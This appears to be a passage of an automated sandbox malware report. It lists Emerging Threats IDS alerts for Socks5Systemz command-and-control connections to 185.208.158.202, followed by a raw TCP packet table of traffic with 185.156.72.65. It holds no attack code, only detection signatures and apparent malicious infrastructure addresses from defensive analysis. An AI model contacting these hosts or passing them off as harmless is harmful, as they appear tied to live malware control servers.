2024-11-20T05:03:49.183437+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50034	185.208.158.202	80	TCP
2024-11-20T05:03:50.006850+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50035	185.208.158.202	80	TCP
2024-11-20T05:03:50.006850+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50035	185.208.158.202	80	TCP
2024-11-20T05:03:50.849542+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:50.849542+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:51.338903+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:51.338903+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:52.189569+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.189569+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.550809+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.550809+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.911402+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.911402+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:53.274782+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:53.274782+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:54.114938+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.114938+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.469937+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.469937+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.962762+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.962762+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:55.796532+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-20T05:03:55.796532+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-20T05:03:56.638762+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50040	185.208.158.202	80	TCP
2024-11-20T05:03:56.638762+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50040	185.208.158.202	80	TCP
2024-11-20T05:03:57.469980+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50041	185.208.158.202	80	TCP
2024-11-20T05:03:57.469980+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50041	185.208.158.202	80	TCP
2024-11-20T05:03:58.720031+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50042	185.208.158.202	80	TCP
2024-11-20T05:03:58.720031+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50042	185.208.158.202	80	TCP
2024-11-20T05:03:59.578052+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50043	185.208.158.202	80	TCP
2024-11-20T05:03:59.578052+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50043	185.208.158.202	80	TCP
2024-11-20T05:04:00.430705+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50044	185.208.158.202	80	TCP
2024-11-20T05:04:00.430705+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50044	185.208.158.202	80	TCP
2024-11-20T05:04:01.290859+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-20T05:04:01.290859+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-20T05:04:02.423851+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:02.423851+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:02.792646+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:02.792646+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:03.640276+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50047	185.208.158.202	80	TCP
2024-11-20T05:04:03.640276+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50047	185.208.158.202	80	TCP
2024-11-20T05:04:04.467375+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50048	185.208.158.202	80	TCP
2024-11-20T05:04:04.467375+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50048	185.208.158.202	80	TCP
2024-11-20T05:04:05.296380+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50049	185.208.158.202	80	TCP
2024-11-20T05:04:05.296380+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50049	185.208.158.202	80	TCP
2024-11-20T05:04:06.232401+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-20T05:04:06.232401+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-20T05:04:07.075224+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-20T05:04:07.075224+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-20T05:04:07.930877+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-20T05:04:07.930877+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-20T05:04:08.770839+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:08.770839+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:09.241906+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:09.241906+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:10.097218+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:10.097218+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:10.465007+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:10.465007+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:11.292434+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-20T05:04:11.292434+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-20T05:04:13.148623+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-20T05:04:13.148623+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-20T05:04:13.978186+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-20T05:04:13.978186+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-20T05:04:14.830874+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:14.830874+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:15.203927+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:15.203927+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:16.029802+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-20T05:04:16.029802+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-20T05:04:16.852260+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-20T05:04:16.852260+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-20T05:04:17.704692+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50061	185.208.158.202	80	TCP
2024-11-20T05:04:17.704692+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50061	185.208.158.202	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 05:02:15.227372885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:15.232379913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:15.232459068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:15.232590914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:15.237464905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:16.048826933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:16.048918962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:16.306072950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:16.311104059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.378030062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.378061056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.378088951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.378115892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.378115892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.378202915 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.387880087 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.392674923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857040882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857166052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857199907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857254028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857276917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857311010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857333899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857368946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857402086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857419014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857450008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857486010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857506990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857532978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857909918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857944965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.857971907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.857990026 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.858196020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.858231068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.858251095 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.858279943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.862376928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.862457037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.969873905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.969945908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.969984055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970072031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970105886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970129013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970155954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970191002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970211983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970240116 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970263958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970319033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970839977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970873117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970906019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970927000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.970952988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.970995903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971009970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971039057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971467018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971501112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971523046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971555948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971576929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971602917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971628904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971672058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.971685886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.971714973 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972217083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972250938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972273111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972291946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972323895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972373009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972630978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972681999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972702980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972745895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972759962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972790003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972812891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972846031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.972867012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.972889900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.973489046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.973543882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.975188017 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.975218058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:17.975245953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:17.975275040 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083069086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083131075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083147049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083174944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083203077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083235979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083259106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083287954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083344936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083378077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083400011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083416939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083467007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083499908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083523989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083551884 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083575964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083609104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083635092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083662033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083688021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083739042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083760023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083792925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083812952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083837986 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083863974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083908081 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.083965063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.083996058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084018946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084039927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084073067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084105015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084125042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084148884 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084177971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084209919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084228992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084254980 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084280968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084320068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084336042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084373951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084402084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084434032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084459066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084476948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084520102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084569931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084593058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084625959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084645987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084669113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084698915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084747076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084769964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084805012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084824085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084849119 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084875107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084919930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.084933996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084961891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.084980965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085019112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085037947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085087061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085108042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085139036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085160017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085181952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085210085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085243940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085266113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085297108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085318089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085362911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085378885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085422039 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085448980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085478067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085496902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085520029 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085566044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085598946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085619926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085643053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085674047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085707903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.085731983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.085762024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.090754032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.090806007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.090837955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.090856075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.090881109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.090924025 CET	80	49730	185.156.72.65	192.168.2.4
